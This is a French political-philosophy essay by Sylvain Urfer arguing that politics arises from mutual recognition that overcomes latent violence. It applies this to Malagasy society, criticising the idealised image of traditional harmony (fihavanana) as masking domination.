Le politique, une reconnaissance arrachée à la violence

Pour bien comprendre un problème, il faut en connaître la genèse: quelle est donc la source du pouvoir, c’est-à-dire, ici, du politique ? Le politique ne se laisse pas réduire à la simple organisation technique, rationnelle, d’une vie sociale foncièrement apaisée. Ce qui particularise le politique n’est pas davantage le pouvoir ou, en d’autres termes, la force – voire la violence. Car la force n’est jamais exercée sur des personnes sans qu’une justification ne puisse en être donnée.

Le politique serait plutôt, dans sa genèse, la reconnaissance que s’accordent mutuellement des libertés arrachées à leur violence naturelle. Cette reconnaissance, qui surmonte la violence, ne l’abolit pas pour autant : la violence reste toujours présente à l’homme et aux relations entre les hommes. Car les libertés humaines sont d’abord négatrices (ou capables de l’être), c’est-à-dire capables d’absolu : «Guerre de tous contre tous», dit HOBBES. Il n’y a pas d’état de nature pacifique, qui ne serait troublée que par l’institution de la propriété, comme le prétend LOCKE.

Il existe une sorte d’étrangeté mutuelle dans la situation d’où émerge le politique. Pour Bertrand de JOUVENEL, la genèse du politique s’apparente à l’expérience de l’enfant arrivant pour la première fois dans le monde étrange et étranger de l’école : abandonné de ses parents, au milieu d’une foule bruyante et tumultueuse, en proie à des sollicitations et à des ordres multiples, il se sent seul dans un monde totalement différent – pays où domine et régit l’autre, le collectif. Le politique nait là où l’on voit des hommes s’arracher à cette étrangeté et à cette violence.

La pure et simple (bonne) volonté des uns et des autres ne suffit pas, contrairement à ce qu’affirme Jean-Jacques ROUSSEAU. Quand les libertés surmontent leur violence, on n’assiste pas seulement à la mise en place d’un contrat (il vaudrait mieux parler de pacte); il se produit, surtout, une reconnaissance du potentiel de violence inhérent aux libertés, et tout à la fois son dépassement. Celui-ci se situe dans la dynamique même de la liberté, et équivaut à l’idée de loi, ou d’idéal. Car la loi surgit dans la liberté, elle ne lui est pas extérieure. Dans ce surgissement, se constitue le tout premier moment du politique. Mais la violence reste latente, toujours susceptible de se manifester.

La société n’est jamais totalement apaisée, elle ne fonctionne pas comme une famille harmonieuse. Que faire, alors ? HOBBES reconnaît la violence, mais elle ne débouche pas sur la liberté. A l’inverse, MARX, et plus encore LÉNINE, valorisent la violence au point de s’y enfermer, rendant ainsi son dépassement impossible. La reconnaissance, elle, est fragile, mais elle doit durer: cette durée constitue le but de ceux qui y ont part, de ceux pour qui elle devient bien commun, et donc société constituée autour de ce bien. Telle est l’origine de la société ou, mieux encore, de la communauté politique : le lieu où l’homme se sauve constamment de la violence, par une durable reconnaissance.

Questions à la société malgache

Réfléchir au politique, à Madagascar, renvoie inévitablement à la perception collective de la violence. L’image donnée par la tradition orale est celle, idyllique, d’une société primitive parfaite : celle de communautés (les fokonolona) baignant dans l’harmonie du fihavanana, régies par la sagesse des anciens et régulées par les mérites du marimaritra iraisana… Non seulement cette image est fausse (ce qui n’est pas le plus grave), car les conditions de vie dans la société traditionnelle étaient excessivement dures : mais elle est surtout idéologiquement orientée vers une perception irénique non conflictuelle, de la société, qui ne peut que profiter aux dominants (nobles, aînés et hommes) et asservir les autres.

La négation de la violence, posée en a priori du fonctionnement social, occulte un aspect essentiel du comportement humain. La violence est alors socialement refoulée, mais elle continue à suinter de partout dans le corps social, à commencer par l’exigence froide et impitoyable qui oblige chacun à tenir sa place, à ne pas se singulariser, à étouffer les manifestations de sa particularité. Peurs, jalousie… et ulcères d’estomac en sont les prix à payer les plus visibles ; mais aussi et surtout, le conformisme social, l’immobilisme politique et l’impossible initiative économique.

L’ultime conséquence est que la société ne peut pas reposer sur le socle ferme d’un consentement mutuel qui soit soudé par le respect de la loi et orienté vers la promotion de valeurs propres et d’un idéal commun. Et lorsque la violence resurgit, il n’est plus de recours possible à un bien commun susceptible de la surmonter. Il n’en est que plus urgent de reconnaître la violence (elle s’affiche tous les jours aux premières pages des journaux), pour l’assumer et la dépasser en volonté de vivre ensemble. C’est le premier défi auquel est confronté l’État de droit dans le pays.

Sylvain URFER

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